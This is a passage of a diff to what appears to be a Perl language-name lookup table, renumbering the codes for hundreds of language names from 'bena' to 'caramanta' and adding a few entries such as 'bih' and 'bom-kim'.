-      q(7756),
+      q(7759),
       q(0),
       ],
    q(bena (tanzania)) => [
-      q(1135),
+      q(1136),
       q(0),
       ],
    q(benabena) => [
-      q(1120),
+      q(1121),
       q(0),
       ],
    q(bench) => [
-      q(1080),
+      q(1081),
       q(0),
       ],
    q(bende) => [
-      q(1104),
+      q(1105),
       q(0),
       ],
    q(bendi) => [
-      q(1083),
+      q(1084),
       q(0),
       ],
    q(beneraf) => [
-      q(1346),
+      q(1347),
       q(1),
       ],
    q(beng) => [
-      q(4852),
+      q(4854),
       q(0),
       ],
    q(benga) => [
-      q(1333),
+      q(1334),
       q(0),
       ],
    q(bengali) => [
@@ -27545,39 +27567,39 @@
       q(0),
       ],
    q(benggoi) => [
-      q(1183),
+      q(1184),
       q(0),
       ],
    q(bengkala sign language) => [
-      q(1420),
+      q(1421),
       q(0),
       ],
    q(bentong) => [
-      q(1345),
+      q(1346),
       q(0),
       ],
    q(benyadu') => [
-      q(1591),
+      q(1592),
       q(0),
       ],
    q(beothuk) => [
-      q(1496),
+      q(1497),
       q(0),
       ],
    q(bepour) => [
-      q(1213),
+      q(1214),
       q(0),
       ],
    q(bera) => [
-      q(1425),
+      q(1426),
       q(0),
       ],
    q(berakou) => [
-      q(1585),
+      q(1586),
       q(0),
       ],
    q(berau malay) => [
-      q(1519),
+      q(1520),
       q(0),
       ],
    q(berber languages) => [
@@ -27585,103 +27607,103 @@
       q(0),
       ],
    q(berbice creole dutch) => [
-      q(1423),
+      q(1424),
       q(0),
       ],
    q(berik) => [
-      q(1263),
+      q(1264),
       q(0),
       ],
    q(berinomo) => [
-      q(1223),
+      q(1224),
       q(0),
       ],
    q(berom) => [
-      q(1361),
+      q(1362),
       q(0),
       ],
    q(berta) => [
-      q(7227),
+      q(7229),
       q(0),
       ],
    q(berti) => [
-      q(1606),
+      q(1607),
       q(0),
       ],
    q(besisi) => [
-      q(4270),
+      q(4271),
       q(0),
       ],
    q(besme) => [
-      q(1128),
+      q(1129),
       q(0),
       ],
    q(besoa) => [
-      q(1126),
+      q(1127),
       q(0),
       ],
    q(betaf) => [
-      q(1140),
+      q(1141),
       q(0),
       ],
    q(betawi) => [
-      q(1132),
+      q(1133),
       q(0),
       ],
    q(bete) => [
-      q(1593),
+      q(1594),
       q(0),
       ],
    q(bete-bendi) => [
-      q(1486),
+      q(1487),
       q(0),
       ],
    q(beti (cote d'ivoire)) => [
-      q(2274),
+      q(2275),
       q(0),
       ],
    q(betta kurumba) => [
-      q(7513),
+      q(7516),
       q(0),
       ],
    q(bezhta) => [
-      q(3177),
+      q(3179),
       q(0),
       ],
    q(bhadrawahi) => [
-      q(1188),
+      q(1189),
       q(0),
       ],
    q(bhalay) => [
-      q(1206),
+      q(1207),
       q(0),
       ],
    q(bharia) => [
-      q(1185),
+      q(1186),
       q(0),
       ],
    q(bhatri) => [
-      q(1181),
+      q(1182),
       q(0),
       ],
    q(bhattiyali) => [
-      q(1202),
+      q(1203),
       q(0),
       ],
    q(bhaya) => [
-      q(1189),
+      q(1190),
       q(0),
       ],
    q(bhele) => [
-      q(1207),
+      q(1208),
       q(0),
       ],
    q(bhilali) => [
-      q(1193),
+      q(1194),
       q(0),
       ],
    q(bhili) => [
-      q(1186),
+      q(1187),
       q(0),
       ],
    q(bhojpuri) => [
@@ -27689,115 +27711,119 @@
       q(0),
       ],
    q(bhoti kinnauri) => [
-      q(4814),
+      q(4816),
       q(0),
       ],
    q(bhujel) => [
-      q(1595),
+      q(1596),
       q(0),
       ],
    q(bhunjia) => [
-      q(1203),
+      q(1204),
       q(0),
       ],
    q(biafada) => [
-      q(1214),
+      q(1215),
       q(0),
       ],
    q(biage) => [
-      q(1094),
+      q(1095),
       q(0),
       ],
    q(biak) => [
-      q(1205),
+      q(1206),
       q(0),
       ],
    q(biali) => [
-      q(1122),
+      q(1123),
       q(0),
       ],
    q(bian marind) => [
-      q(1392),
+      q(1393),
       q(0),
       ],
    q(biangai) => [
-      q(1215),
+      q(1216),
       q(0),
       ],
    q(biao) => [
-      q(1598),
+      q(1599),
       q(0),
       ],
    q(biao mon) => [
-      q(1321),
+      q(1322),
       q(0),
       ],
    q(biao-jiao mien) => [
-      q(1233),
+      q(1234),
       q(0),
       ],
    q(biatah bidayuh) => [
-      q(1476),
+      q(1477),
       q(0),
       ],
    q(bibbulman) => [
-      q(7288),
+      q(7290),
       q(0),
       ],
    q(bidhawal) => [
-      q(2926),
+      q(2929),
       q(0),
       ],
    q(bidiyo) => [
-      q(1212),
+      q(1213),
       q(0),
       ],
    q(bidyara) => [
-      q(1600),
+      q(1601),
       q(0),
       ],
    q(bidyogo) => [
-      q(1235),
+      q(1236),
       q(0),
       ],
    q(biem) => [
-      q(1304),
+      q(1305),
       q(0),
       ],
    q(bierebo) => [
-      q(1336),
+      q(1337),
       q(0),
       ],
    q(bieria) => [
-      q(1429),
+      q(1430),
       q(0),
       ],
    q(biete) => [
-      q(1224),
+      q(1225),
       q(0),
       ],
    q(big nambas) => [
-      q(4954),
+      q(4956),
       q(0),
       ],
    q(biga) => [
-      q(1187),
+      q(1188),
       q(0),
       ],
    q(bigambal) => [
-      q(7281),
+      q(7283),
       q(0),
       ],
+   q(bih) => [
+      q(2888),
+      q(0),
+      ],
    q(bihari languages) => [
       q(0053),
       q(0),
       ],
    q(bijori) => [
-      q(1227),
+      q(1228),
       q(0),
       ],
    q(bikaru) => [
-      q(1211),
+      q(1212),
       q(0),
       ],
    q(bikol) => [
@@ -27805,31 +27831,31 @@
       q(0),
       ],
    q(bikya) => [
-      q(1589),
+      q(1590),
       q(0),
       ],
    q(bila) => [
-      q(1220),
+      q(1221),
       q(0),
       ],
    q(bilakura) => [
-      q(1407),
+      q(1408),
       q(0),
       ],
    q(bilaspuri) => [
-      q(3298),
+      q(3300),
       q(0),
       ],
    q(bilba) => [
-      q(1396),
+      q(1397),
       q(0),
       ],
    q(bilbil) => [
-      q(1445),
+      q(1446),
       q(0),
       ],
    q(bile) => [
-      q(1217),
+      q(1218),
       q(0),
       ],
    q(bilin) => [
@@ -27837,55 +27863,55 @@
       q(1),
       ],
    q(bilma kanuri) => [
-      q(1320),
+      q(1321),
       q(0),
       ],
    q(biloxi) => [
-      q(1288),
+      q(1289),
       q(0),
       ],
    q(bilua) => [
-      q(1278),
+      q(1279),
       q(0),
       ],
    q(bilur) => [
-      q(1570),
+      q(1571),
       q(0),
       ],
    q(bima) => [
-      q(1198),
+      q(1199),
       q(0),
       ],
    q(bimin) => [
-      q(1195),
+      q(1196),
       q(0),
       ],
    q(bimoba) => [
-      q(1218),
+      q(1219),
       q(0),
       ],
    q(bina (nigeria)) => [
-      q(1597),
+      q(1598),
       q(0),
       ],
    q(bina (papua new guinea)) => [
-      q(1315),
+      q(1316),
       q(0),
       ],
    q(binahari) => [
-      q(1587),
+      q(1588),
       q(0),
       ],
    q(binandere) => [
-      q(1191),
+      q(1192),
       q(0),
       ],
    q(bindal) => [
-      q(7280),
+      q(7282),
       q(0),
       ],
    q(bine) => [
-      q(1362),
+      q(1363),
       q(0),
       ],
    q(bini) => [
@@ -27893,91 +27919,91 @@
       q(0),
       ],
    q(binji) => [
-      q(1380),
+      q(1381),
       q(0),
       ],
    q(binongan itneg) => [
-      q(3005),
+      q(3008),
       q(0),
       ],
    q(bintauna) => [
-      q(1331),
+      q(1332),
       q(0),
       ],
    q(bintulu) => [
-      q(1349),
+      q(1350),
       q(0),
       ],
    q(binukid) => [
-      q(1256),
+      q(1257),
       q(0),
       ],
    q(binumarien) => [
-      q(1245),
+      q(1246),
       q(0),
       ],
    q(bipi) => [
-      q(1221),
+      q(1222),
       q(0),
       ],
    q(birale) => [
-      q(1569),
+      q(1570),
       q(0),
       ],
    q(birao) => [
-      q(1437),
+      q(1438),
       q(0),
       ],
    q(birgit) => [
-      q(1474),
+      q(1475),
       q(0),
       ],
    q(birhor) => [
-      q(1228),
+      q(1229),
       q(0),
       ],
    q(biri) => [
-      q(1628),
+      q(1629),
       q(0),
       ],
    q(biritai) => [
-      q(1412),
+      q(1413),
       q(0),
       ],
    q(birked) => [
-      q(1430),
+      q(1431),
       q(0),
       ],
    q(birri) => [
-      q(1531),
+      q(1532),
       q(0),
       ],
    q(birrpayi) => [
-      q(7284),
+      q(7286),
       q(0),
       ],
    q(birwa) => [
-      q(1431),
+      q(1432),
       q(0),
       ],
    q(bisa) => [
-      q(1210),
+      q(1211),
       q(1),
       ],
    q(biseni) => [
-      q(2929),
+      q(2932),
       q(0),
       ],
    q(bishnupriya) => [
-      q(1395),
+      q(1396),
       q(0),
       ],
    q(bishuo) => [
-      q(1547),
+      q(1548),
       q(0),
       ],
    q(bisis) => [
-      q(1347),
+      q(1348),
       q(0),
       ],
    q(bislama) => [
@@ -27985,55 +28011,55 @@
       q(0),
       ],
    q(bisorio) => [
-      q(1222),
+      q(1223),
       q(0),
       ],
    q(bissa) => [
-      q(1210),
+      q(1211),
       q(0),
       ],
    q(bisu) => [
-      q(1619),
+      q(1620),
       q(0),
       ],
    q(bit) => [
-      q(1170),
+      q(1171),
       q(0),
       ],
    q(bitare) => [
-      q(1439),
+      q(1440),
       q(0),
       ],
    q(bitur) => [
-      q(4146),
+      q(4147),
       q(0),
       ],
    q(biwat) => [
-      q(1552),
+      q(1553),
       q(0),
       ],
    q(biyo) => [
-      q(1601),
+      q(1602),
       q(0),
       ],
    q(biyom) => [
-      q(1383),
+      q(1384),
       q(0),
       ],
    q(blablanga) => [
-      q(1292),
+      q(1293),
       q(0),
       ],
    q(blafe) => [
-      q(1143),
+      q(1144),
       q(0),
       ],
    q(blagar) => [
-      q(1130),
+      q(1131),
       q(0),
       ],
    q(blang) => [
-      q(1294),
+      q(1295),
       q(0),
       ],
    q(blin) => [
@@ -28041,143 +28067,143 @@
       q(0),
       ],
    q(bliss) => [
-      q(0478),
+      q(0479),
       q(2),
       ],
    q(blissymbolics) => [
-      q(0478),
+      q(0479),
       q(1),
       ],
    q(blissymbols) => [
-      q(0478),
+      q(0479),
       q(0),
       ],
    q(bo (laos)) => [
-      q(1171),
+      q(1172),
       q(0),
       ],
    q(bo (papua new guinea)) => [
-      q(1393),
+      q(1394),
       q(0),
       ],
    q(bo-rukul) => [
-      q(4108),
+      q(4109),
       q(0),
       ],
    q(bo-ung) => [
-      q(4590),
+      q(4591),
       q(0),
       ],
    q(boano (maluku)) => [
-      q(1624),
+      q(1625),
       q(0),
       ],
    q(boano (sulawesi)) => [
-      q(1622),
+      q(1623),
       q(0),
       ],
    q(bobongko) => [
-      q(1162),
+      q(1163),
       q(0),
       ],
    q(bobot) => [
-      q(1491),
+      q(1492),
       q(0),
       ],
    q(bodo (central african republic)) => [
-      q(1372),
+      q(1373),
       q(0),
       ],
    q(bodo (india)) => [
-      q(1443),
+      q(1444),
       q(0),
       ],
    q(bodo gadaba) => [
-      q(2425),
+      q(2426),
       q(0),
       ],
    q(bodo parja) => [
-      q(1110),
+      q(1111),
       q(0),
       ],
    q(bofi) => [
-      q(1141),
+      q(1142),
       q(0),
       ],
    q(boga) => [
-      q(1536),
+      q(1537),
       q(0),
       ],
    q(bogaya) => [
-      q(1365),
+      q(1366),
       q(0),
       ],
    q(boghom) => [
-      q(1512),
+      q(1513),
       q(0),
       ],
    q(boguru) => [
-      q(1416),
+      q(1417),
       q(0),
       ],
    q(bohtan neo-aramaic) => [
-      q(1197),
+      q(1198),
       q(0),
       ],
    q(boikin) => [
-      q(1616),
+      q(1617),
       q(0),
       ],
    q(bokha) => [
-      q(7587),
+      q(7590),
       q(0),
       ],
    q(bokmal, norwegian) => [
-      q(0313),
+      q(0314),
       q(0),
       ],
    q(boko (benin)) => [
-      q(1399),
+      q(1400),
       q(0),
       ],
    q(boko (democratic republic of congo)) => [
-      q(1267),
+      q(1268),
       q(0),
       ],
    q(bokobaru) => [
-      q(1507),
+      q(1508),
       q(0),
       ],
    q(bokoto) => [
-      q(1108),
+      q(1109),
       q(0),
       ],
    q(bokyi) => [
-      q(1276),
+      q(1277),
       q(0),
       ],
    q(bola) => [
-      q(1341),
+      q(1342),
       q(0),
       ],
    q(bolango) => [
-      q(1280),
+      q(1281),
       q(0),
       ],
    q(bole) => [
-      q(1360),
+      q(1361),
       q(0),
       ],
    q(bolgarian) => [
-      q(7287),
+      q(7289),
       q(0),
       ],
    q(bolgo) => [
-      q(1529),
+      q(1530),
       q(0),
       ],
    q(bolia) => [
-      q(1285),
+      q(1286),
       q(0),
       ],
    q(bolinao) => [
@@ -28185,75 +28211,75 @@
       q(0),
       ],
    q(bolivian sign language) => [
-      q(1526),
+      q(1527),
       q(0),
       ],
    q(bolo) => [
-      q(1297),
-      q(0),
+      q(1298),
+      q(1),
       ],
    q(boloki) => [
-      q(1271),
+      q(1272),
       q(0),
       ],
    q(bolon) => [
-      q(1354),
+      q(1355),
       q(0),
       ],
    q(bolondo) => [
-      q(1623),
+      q(1624),
       q(0),
       ],
    q(bolongan) => [
-      q(1286),
+      q(1287),
       q(0),
       ],
    q(bolyu) => [
-      q(5499),
+      q(5503),
       q(0),
       ],
-   q(bom) => [
-      q(1307),
+   q(bom-kim) => [
+      q(1308),
       q(0),
       ],
    q(boma) => [
-      q(1356),
+      q(1357),
       q(0),
       ],
    q(bomboli) => [
-      q(1313),
+      q(1314),
       q(0),
       ],
    q(bomboma) => [
-      q(1558),
+      q(1559),
       q(0),
       ],
    q(bomitaba) => [
-      q(7881),
+      q(7884),
       q(0),
       ],
    q(bomu) => [
-      q(1318),
+      q(1319),
       q(0),
       ],
    q(bomwali) => [
-      q(1324),
+      q(1325),
       q(0),
       ],
    q(bon gula) => [
-      q(2539),
+      q(2541),
       q(0),
       ],
    q(bonan) => [
-      q(5402),
+      q(5406),
       q(0),
       ],
    q(bondei) => [
-      q(1368),
+      q(1369),
       q(0),
       ],
    q(bondo) => [
-      q(1157),
+      q(1158),
       q(0),
       ],
    q(bondoukou kulango) => [
@@ -28261,75 +28287,75 @@
       q(0),
       ],
    q(bondum dom dogon) => [
-      q(1965),
+      q(1966),
       q(0),
       ],
    q(bonerate) => [
-      q(1327),
+      q(1328),
       q(0),
       ],
    q(bonerif) => [
-      q(1346),
+      q(1347),
       q(0),
       ],
    q(bonggi) => [
-      q(1095),
+      q(1096),
       q(0),
       ],
    q(bonggo) => [
-      q(1377),
+      q(1378),
       q(0),
       ],
    q(bongili) => [
-      q(1499),
+      q(1500),
       q(0),
       ],
    q(bongo) => [
-      q(1367),
+      q(1368),
       q(0),
       ],
    q(bongu) => [
-      q(1391),
+      q(1392),
       q(0),
       ],
    q(bonjo) => [
-      q(1359),
+      q(1360),
       q(0),
       ],
    q(bonkeng) => [
-      q(1521),
+      q(1522),
       q(0),
       ],
    q(bonkiman) => [
-      q(1364),
+      q(1365),
       q(0),
       ],
    q(bontok) => [
-      q(1329),
+      q(1330),
       q(0),
       ],
    q(boo) => [
-      q(1399),
+      q(1400),
       q(1),
       ],
    q(bookan) => [
-      q(1328),
+      q(1329),
       q(0),
       ],
    q(boon) => [
-      q(1337),
+      q(1338),
       q(0),
       ],
    q(boor) => [
-      q(1520),
+      q(1521),
       q(0),
       ],
    q(bora) => [
-      q(1351),
+      q(1352),
       q(0),
       ],
    q(borana-arsi-guji oromo) => [
-      q(2416),
+      q(2417),
       q(0),
       ],
    q(border kuna) => [
@@ -28337,23 +28363,23 @@
       q(0),
       ],
    q(borei) => [
-      q(2402),
+      q(2403),
       q(0),
       ],
    q(borgu fulfulde) => [
-      q(2380),
+      q(2381),
       q(0),
       ],
    q(borna (ethiopia)) => [
-      q(1554),
+      q(1555),
       q(1),
       ],
    q(boro (ethiopia)) => [
-      q(1554),
+      q(1555),
       q(0),
       ],
    q(boro (ghana)) => [
-      q(7542),
+      q(7545),
       q(0),
       ],
    q(borong) => [
@@ -28361,19 +28387,19 @@
       q(0),
       ],
    q(bororo) => [
-      q(1366),
+      q(1367),
       q(0),
       ],
    q(boruca) => [
-      q(1433),
+      q(1434),
       q(0),
       ],
    q(boselewa) => [
-      q(1545),
+      q(1546),
       q(0),
       ],
    q(bosngun) => [
-      q(1414),
+      q(1415),
       q(0),
       ],
    q(bosnian) => [
@@ -28381,11 +28407,11 @@
       q(0),
       ],
    q(bote-majhi) => [
-      q(1311),
+      q(1312),
       q(0),
       ],
    q(botlikh) => [
-      q(1378),
+      q(1379),
       q(0),
       ],
    q(botolan sambal) => [
@@ -28393,23 +28419,23 @@
       q(0),
       ],
    q(bouna kulango) => [
-      q(4932),
+      q(4934),
       q(0),
       ],
    q(bouyei) => [
-      q(5375),
+      q(5379),
       q(0),
       ],
    q(bozaba) => [
-      q(1625),
+      q(1626),
       q(0),
       ],
    q(bragat) => [
-      q(0819),
+      q(0820),
       q(0),
       ],
    q(brahui) => [
-      q(1427),
+      q(1428),
       q(0),
       ],
    q(braj) => [
@@ -28417,15 +28443,15 @@
       q(0),
       ],
    q(brazilian sign language) => [
-      q(1629),
+      q(1630),
       q(0),
       ],
    q(brem) => [
-      q(1506),
+      q(1507),
       q(0),
       ],
    q(breri) => [
-      q(1436),
+      q(1437),
       q(0),
       ],
    q(breton) => [
@@ -28433,35 +28459,35 @@
       q(0),
       ],
    q(bribri) => [
-      q(1614),
+      q(1615),
       q(0),
       ],
    q(brithenig) => [
-      q(1630),
+      q(1631),
       q(0),
       ],
    q(british sign language) => [
-      q(1144),
+      q(1145),
       q(0),
       ],
    q(brokkat) => [
-      q(1434),
+      q(1435),
       q(0),
       ],
    q(brokpake) => [
-      q(5994),
+      q(5995),
       q(0),
       ],
    q(brokskat) => [
-      q(1262),
+      q(1263),
       q(0),
       ],
    q(brooke's point palawano) => [
-      q(5498),
+      q(5502),
       q(0),
       ],
    q(broome pearling lugger pidgin) => [
-      q(1382),
+      q(1383),
       q(0),
       ],
    q(brunei) => [
@@ -28469,79 +28495,79 @@
       q(0),
       ],
    q(brunei bisaya) => [
-      q(1447),
+      q(1448),
       q(0),
       ],
    q(bu) => [
-      q(3090),
+      q(3092),
       q(0),
       ],
    q(bu-nao bunu) => [
-      q(1562),
+      q(1563),
       q(0),
       ],
    q(bua) => [
-      q(1493),
+      q(1494),
       q(0),
       ],
    q(bualkhaw chin) => [
-      q(1665),
+      q(1666),
       q(0),
       ],
    q(buamu) => [
-      q(1371),
+      q(1372),
       q(0),
       ],
    q(bube) => [
-      q(1516),
+      q(1517),
       q(0),
       ],
    q(bubi) => [
-      q(1511),
+      q(1512),
       q(0),
       ],
    q(bubia) => [
-      q(1061),
+      q(1062),
       q(0),
       ],
    q(budeh stieng) => [
-      q(6262),
+      q(6261),
       q(0),
       ],
    q(budibud) => [
-      q(1482),
+      q(1483),
       q(0),
       ],
    q(budong-budong) => [
-      q(1112),
+      q(1113),
       q(0),
       ],
    q(budu) => [
-      q(1509),
+      q(1510),
       q(0),
       ],
    q(budukh) => [
-      q(1099),
+      q(1100),
       q(0),
       ],
    q(buduma) => [
-      q(1101),
+      q(1102),
       q(0),
       ],
    q(budza) => [
-      q(1230),
+      q(1231),
       q(0),
       ],
    q(bugan) => [
-      q(1045),
+      q(1046),
       q(0),
       ],
    q(bugawac) => [
-      q(1501),
+      q(1502),
       q(0),
       ],
    q(bughotu) => [
-      q(1178),
+      q(1179),
       q(0),
       ],
    q(buginese) => [
@@ -28553,7 +28579,7 @@
       q(0),
       ],
    q(bugun) => [
-      q(1167),
+      q(1168),
       q(0),
       ],
    q(buhi'non bikol) => [
@@ -28561,35 +28587,35 @@
       q(0),
       ],
    q(buhid) => [
-      q(1272),
+      q(1273),
       q(0),
       ],
    q(buhutu) => [
-      q(1572),
+      q(1573),
       q(0),
       ],
    q(bukar-sadung bidayuh) => [
-      q(5945),
+      q(5946),
       q(0),
       ],
    q(bukat) => [
-      q(1525),
+      q(1526),
       q(0),
       ],
    q(bukharic) => [
-      q(1192),
+      q(1193),
       q(0),
       ],
    q(bukit malay) => [
-      q(1534),
+      q(1535),
       q(0),
       ],
    q(bukitan) => [
-      q(1265),
+      q(1266),
       q(0),
       ],
    q(bukiyip) => [
-      q(0837),
+      q(0838),
       q(0),
       ],
    q(buksa) => [
@@ -28597,11 +28623,11 @@
       q(0),
       ],
    q(bukusu) => [
-      q(1575),
+      q(1576),
       q(0),
       ],
    q(bukwen) => [
-      q(1514),
+      q(1515),
       q(0),
       ],
    q(bulgarian) => [
@@ -28609,139 +28635,139 @@
       q(0),
       ],
    q(bulgarian sign language) => [
-      q(1409),
+      q(1410),
       q(0),
       ],
    q(bulgebi) => [
-      q(1317),
+      q(1318),
       q(0),
       ],
    q(buli (ghana)) => [
-      q(1560),
+      q(1561),
       q(0),
       ],
    q(buli (indonesia)) => [
-      q(1627),
+      q(1628),
       q(0),
       ],
    q(bullom so) => [
-      q(1513),
+      q(1514),
       q(0),
       ],
    q(bulo stieng) => [
-      q(6251),
+      q(6250),
       q(0),
       ],
    q(bulu (cameroon)) => [
-      q(1502),
+      q(1503),
       q(0),
       ],
    q(bulu (papua new guinea)) => [
-      q(1240),
+      q(1241),
       q(0),
       ],
    q(bum) => [
-      q(1323),
+      q(1324),
       q(0),
       ],
    q(bumaji) => [
-      q(1602),
+      q(1603),
       q(0),
       ],
    q(bumang) => [
-      q(1530),
+      q(1531),
       q(0),
       ],
    q(bumbita arapesh) => [
-      q(0827),
+      q(0828),
       q(0),
       ],
    q(bumthangkha) => [
-      q(3398),
+      q(3399),
       q(0),
       ],
    q(bun) => [
-      q(1510),
+      q(1511),
       q(0),
       ],
    q(buna) => [
-      q(1528),
+      q(1529),
       q(0),
       ],
    q(bunaba) => [
-      q(1074),
+      q(1075),
       q(0),
       ],
    q(bunak) => [
-      q(1149),
+      q(1150),
       q(0),
       ],
    q(bunama) => [
-      q(1092),
+      q(1093),
       q(0),
       ],
    q(bundeli) => [
-      q(1344),
+      q(1345),
       q(0),
       ],
    q(bung) => [
-      q(1400),
+      q(1401),
       q(0),
       ],
    q(bungain) => [
-      q(1508),
+      q(1509),
       q(0),
       ],
    q(bunganditj) => [
-      q(7282),
+      q(7284),
       q(0),
       ],
    q(bungku) => [
-      q(1277),
+      q(1278),
       q(0),
       ],
    q(bungu) => [
-      q(7237),
+      q(7239),
       q(0),
       ],
    q(bunoge dogon) => [
-      q(1998),
+      q(1999),
       q(0),
       ],
    q(bunun) => [
-      q(1339),
+      q(1340),
       q(0),
       ],
    q(buol) => [
-      q(1282),
+      q(1283),
       q(0),
       ],
    q(bura-pabir) => [
-      q(1557),
+      q(1558),
       q(0),
       ],
    q(burak) => [
-      q(1605),
+      q(1606),
       q(0),
       ],
    q(buraka) => [
-      q(1258),
+      q(1259),
       q(0),
       ],
    q(burarra) => [
-      q(1532),
+      q(1533),
       q(0),
       ],
    q(burate) => [
-      q(1477),
+      q(1478),
       q(0),
       ],
    q(burduna) => [
-      q(1578),
+      q(1579),
       q(0),
       ],
    q(bure) => [
-      q(1522),
+      q(1523),
       q(0),
       ],
    q(buriat) => [
@@ -28749,11 +28775,11 @@
       q(0),
       ],
    q(burji) => [
-      q(1237),
+      q(1238),
       q(0),
       ],
    q(burmbar) => [
-      q(7031),
+      q(7032),
       q(0),
       ],
    q(burmese) => [
@@ -28761,87 +28787,87 @@
       q(0),
       ],
    q(burmeso) => [
-      q(1631),
+      q(1632),
       q(0),
       ],
    q(buru (indonesia)) => [
-      q(4283),
+      q(4284),
       q(0),
       ],
    q(buru (nigeria)) => [
-      q(1418),
+      q(1419),
       q(0),
       ],
    q(burui) => [
-      q(1444),
+      q(1445),
       q(0),
       ],
    q(burumakok) => [
-      q(0705),
+      q(0706),
       q(0),
       ],
    q(burun) => [
-      q(1097),
+      q(1098),
       q(0),
       ],
    q(burunge) => [
-      q(1107),
+      q(1108),
       q(0),
       ],
    q(burushaski) => [
-      q(1455),
+      q(1456),
       q(0),
       ],
    q(burusu) => [
-      q(1413),
+      q(1414),
       q(0),
       ],
    q(buruwai) => [
-      q(0893),
+      q(0894),
       q(0),
       ],
    q(busa) => [
-      q(1411),
+      q(1412),
       q(0),
       ],
    q(busam) => [
-      q(1583),
+      q(1584),
       q(0),
       ],
    q(busami) => [
-      q(1457),
+      q(1458),
       q(0),
       ],
    q(busang kayan) => [
-      q(1142),
+      q(1143),
       q(0),
       ],
    q(bushi) => [
-      q(1494),
+      q(1495),
       q(0),
       ],
    q(bushoong) => [
-      q(1497),
+      q(1498),
       q(0),
       ],
    q(businenge tongo) => [
-      q(2059),
+      q(2060),
       q(1),
       ],
    q(buso) => [
-      q(1459),
+      q(1460),
       q(0),
       ],
    q(busoa) => [
-      q(1505),
+      q(1506),
       q(0),
       ],
    q(bussa) => [
-      q(2123),
+      q(2124),
       q(0),
       ],
    q(busuu) => [
-      q(1248),
+      q(1249),
       q(0),
       ],
    q(butbut kalinga) => [
@@ -28849,35 +28875,35 @@
       q(0),
       ],
    q(butmas-tur) => [
-      q(1343),
+      q(1344),
       q(0),
       ],
    q(butuanon) => [
-      q(1489),
+      q(1490),
       q(0),
       ],
    q(buwal) => [
-      q(1201),
+      q(1202),
       q(0),
       ],
    q(buxinhua) => [
-      q(1170),
+      q(1171),
       q(1),
       ],
    q(buyu) => [
-      q(1596),
+      q(1597),
       q(0),
       ],
    q(buyuan jinuo) => [
-      q(3102),
+      q(3104),
       q(0),
       ],
    q(bwa) => [
-      q(1561),
+      q(1562),
       q(0),
       ],
    q(bwaidoka) => [
-      q(1543),
+      q(1544),
       q(0),
       ],
    q(bwanabwana) => [
@@ -28885,63 +28911,63 @@
       q(0),
       ],
    q(bwatoo) => [
-      q(1540),
+      q(1541),
       q(0),
       ],
    q(bwe karen) => [
-      q(1544),
+      q(1545),
       q(0),
       ],
    q(bwela) => [
-      q(1551),
+      q(1552),
       q(0),
       ],
    q(bwile) => [
-      q(1542),
+      q(1543),
       q(0),
       ],
    q(bwisi) => [
-      q(1564),
+      q(1565),
       q(0),
       ],
    q(byangsi) => [
-      q(1119),
+      q(1120),
       q(0),
       ],
    q(byep) => [
-      q(4344),
+      q(4345),
       q(0),
       ],
    q(c'lela) => [
-      q(2132),
+      q(2133),
       q(0),
       ],
    q(caac) => [
-      q(4538),
+      q(4539),
       q(0),
       ],
    q(cabecar) => [
-      q(1747),
+      q(1748),
       q(0),
       ],
    q(cabiyari) => [
-      q(1658),
+      q(1659),
       q(0),
       ],
    q(cacaloxtepec mixtec) => [
-      q(4307),
+      q(4308),
       q(0),
       ],
    q(cacaopera) => [
-      q(1687),
+      q(1688),
       q(0),
       ],
    q(cacgia roglai) => [
-      q(5826),
+      q(5827),
       q(0),
       ],
    q(cacua) => [
-      q(1673),
+      q(1674),
       q(0),
       ],
    q(caddo) => [
@@ -28949,55 +28975,55 @@
       q(0),
       ],
    q(caddoan languages) => [
-      q(0498),
+      q(0499),
       q(0),
       ],
    q(cafundo creole) => [
-      q(1678),
+      q(1679),
       q(0),
       ],
    q(cahuarano) => [
-      q(1643),
+      q(1644),
       q(0),
       ],
    q(cahuilla) => [
-      q(1720),
+      q(1721),
       q(0),
       ],
    q(cahungwarya) => [
-      q(4726),
+      q(4727),
       q(0),
       ],
    q(cajamarca quechua) => [
-      q(5690),
+      q(5692),
       q(0),
       ],
    q(cajatambo north lima quechua) => [
-      q(5695),
+      q(5697),
       q(0),
       ],
    q(cajonos zapotec) => [
-      q(7790),
+      q(7793),
       q(0),
       ],
    q(cajun french) => [
-      q(2368),
+      q(2369),
       q(0),
       ],
    q(caka) => [
-      q(1762),
+      q(1763),
       q(0),
       ],
    q(cakchiquel) => [
-      q(1645),
+      q(1646),
       q(1),
       ],
    q(cakchiquel-quiche mixed language) => [
-      q(1764),
+      q(1765),
       q(0),
       ],
    q(cakfem-mushere) => [
-      q(1763),
+      q(1764),
       q(0),
       ],
    q(calamian tagbanwa) => [
@@ -29005,167 +29031,167 @@
       q(0),
       ],
    q(calderon highland quichua) => [
-      q(5671),
+      q(5673),
       q(0),
       ],
    q(callawalla) => [
-      q(1654),
+      q(1655),
       q(0),
       ],
    q(calo) => [
-      q(5809),
+      q(5810),
       q(0),
       ],
    q(caluyanun) => [
-      q(1777),
+      q(1778),
       q(0),
       ],
    q(cameroon mambila) => [
-      q(4164),
+      q(4165),
       q(0),
       ],
    q(cameroon pidgin) => [
-      q(7095),
+      q(7097),
       q(0),
       ],
    q(camling) => [
-      q(5726),
+      q(5728),
       q(0),
       ],
    q(campalagian) => [
-      q(1784),
+      q(1785),
       q(0),
       ],
    q(campidanese sardinian) => [
-      q(6210),
+      q(6209),
       q(0),
       ],
    q(camsa) => [
-      q(3187),
+      q(3189),
       q(0),
       ],
    q(camtho) => [
-      q(1790),
+      q(1791),
       q(0),
       ],
    q(camunic) => [
-      q(7293),
+      q(7295),
       q(0),
       ],
    q(canar highland quichua) => [
-      q(5718),
+      q(5720),
       q(0),
       ],
    q(candoshi-shapra) => [
-      q(1672),
+      q(1673),
       q(0),
       ],
    q(canela) => [
-      q(5735),
+      q(5737),
       q(0),
       ],
    q(canichana) => [
-      q(1657),
+      q(1658),
       q(0),
       ],
    q(cantonese) => [
-      q(7748),
+      q(7751),
       q(1),
       ],
    q(cao lan) => [
-      q(4362),
+      q(4363),
       q(0),
       ],
    q(cao miao) => [
-      q(1822),
+      q(1823),
       q(0),
       ],
    q(capanahua) => [
-      q(3178),
+      q(3180),
       q(0),
       ],
    q(capiznon) => [
-      q(1833),
+      q(1834),
       q(0),
       ],
    q(cappadocian greek) => [
-      q(1829),
+      q(1830),
       q(0),
       ],
    q(caquinte) => [
-      q(1820),
+      q(1821),
       q(0),
       ],
    q(car nicobarese) => [
-      q(1651),
+      q(1652),
       q(0),
       ],
    q(cara) => [
-      q(1708),
+      q(1709),
       q(0),
       ],
    q(carabayo) => [
-      q(1675),
+      q(1676),
       q(0),
       ],
    q(caramanta) => [
